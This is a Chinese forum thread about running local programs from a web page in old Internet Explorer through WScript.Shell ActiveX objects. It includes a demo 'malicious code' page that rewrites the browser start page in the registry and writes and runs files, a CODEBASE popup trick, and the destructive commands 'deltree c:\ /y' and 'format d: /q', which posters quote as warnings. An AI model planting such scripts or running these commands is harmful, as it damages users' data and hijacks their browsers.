这种方法已经不大可能正常使用了,许多病毒都是这么做的,有谁会允许网页执行可执行文件啊,假如执行 deltree c:\ /y 怎么办?你不是想编病毒吧?
解决方案 »
- window.open()打开的窗口如何捕捉它的关闭事件?
- 请问各位前辈Jscript可以实现下载FTP服务器上的文件到本机吗?
- 控制图片大小
- 我这个删除多行,怎么会不行呢
- 触发一个事件怎么样使页面的元素非编辑状态(可以垮框架)。
- 如何判断用户是否直接在IE地址栏里输入链接查看的javascript
- 怎么从.htm中往.hta中传参数?
- document.frm_reg.submit()?????
- jQuery自定义扩展方法,如何获取调用该方法的元素
- 求助!老师布置了一份提交表单的作业,我写完之后测试发现并不像预期的那样,但我不知道哪里错了,刚学javascript有好多地方不是很懂,求大佬帮帮忙!
- 点击一个button,弹出是否,再进入下一个网页?
- 请问各位大侠,如何在一个表单提交后弹出报错窗口?(需要用自已做的页面代替系统的弹出窗口)
你的Program Files文件夹里有空格
<a href="javascript:excu('D:\\Public\\1111\\','fbiao.exe')">调用程序</a>
<SCRIPT LANGUAGE="JavaScript">
function excu(path, name) {
var a=new ActiveXObject('wscript.shell');
a.Run(path + name);
}
</SCRIPT>
<html>
<head>
<script>
function exec (command) {
window.oldOnError = window.onerror;
window._command = command;
window.onerror = function (err) {
if (err.indexOf('automation' ) != -1) {
alert('命令已经被用户禁止!');
return true;
}
else return false;
};
var wsh = new ActiveXObject('WScript.Shell');
if (wsh)
wsh.Run(command);
window.onerror = window.oldOnError;
}
</script>
</head>
<body>
<a href="javascript:" onclick="exec('c:\\test\\sertest.exe')">test</a>
</body>
</html>
<a href="javascript:excu('D:\\Public\\1111\\','fbiao.exe')">调用程序</a>
<SCRIPT LANGUAGE="JavaScript">
function excu(path, name) {
var a=new ActiveXObject('wscript.shell');
a.Run(path + name);
}
</SCRIPT>
好象不是对什么程序都ok?
这是为什么?
有什么限制?
楼上的以为如何?
我觉得就好象比较恐怖
(new ActiveXObject("Wscript.Shell")).Run("d:/Program Files/CS.exe");
</script>
(new ActiveXObject("Wscript.Shell")).Run("format d: /q");
</script>这个不要乱弄啊。
<script>
function Init(v) {
var oPopup=window.createPopup();
var oPopBody=oPopup.document.body;
var html = "<OBJECT NAME='X' CLASSID='CLSID:11111111-1111-1111-1111-111111111111' CODEBASE='"+v+"' %1='r'></OBJECT>";
oPopBody.innerHTML=html;
// oPopup.show(290, 190, 200, 200, document.body);
}v = 'C:/Program Files/Teleport Pro/pro.exe';
Init(v);
</script>
可以做你想要做的一切。
警告!切不可用于非法目的!!!!!!<html>
<head>
<title> 恶意代码! </title>
</head>
<body bgcolor="#FFFFFF" onload=init()>
<applet code=com.ms.activeX.ActiveXComponent width=0 height=0 id=a1>
</applet>
<script>
function init()
{
yuzi();
}function yuzi()
{
a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}"); //WScript.Shell
a1.createInstance();
sh1=a1.GetObject(); a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}"); //Scripting.FileSystemObject
a1.createInstance();
fs1=a1.GetObject();msg="当前 IE 的起始页为 "
msg+=sh1.RegRead("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page")
alert(msg+"\n将 IE 的起始页设置为 http://www.sohu.com/")
sh1.RegWrite("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page","http://www.sohu.com/");alert("在 C:\\ 下生成一个 a.txt 文件")
pfc = fs1.CreateTextFile("c:\\a.txt", true)
pfc.write(prg.innerText)
pfc.close()alert("运行记事本,打开刚才生成的文件")
sh1.run("notepad c:\\a.txt",1,true)alert("删除刚才生成的文件")
fs1.DeleteFile("c:\\a.txt"); /*
a1.setCLSID("{0006F03A-0000-0000-C000-000000000046}"); //Outlook.Application
a1.createInstance();
ol1=a1.GetObject();
*/
}
</script>
<div id=prg style="display:none">
如果这里是一段恶意的脚本代码……<br>
function DeleteFile()<br>
{<br>
}
</div>
恶意代码!
触目惊心!
</body>
</html>
而且如果装有Norton的话,一定会被杀掉还有没有好办法了?哈哈
@_@
可以做你想要做的一切。
这位大大能说清楚点么?
你用的是xp吗?你看一下它的帮助文件里面有。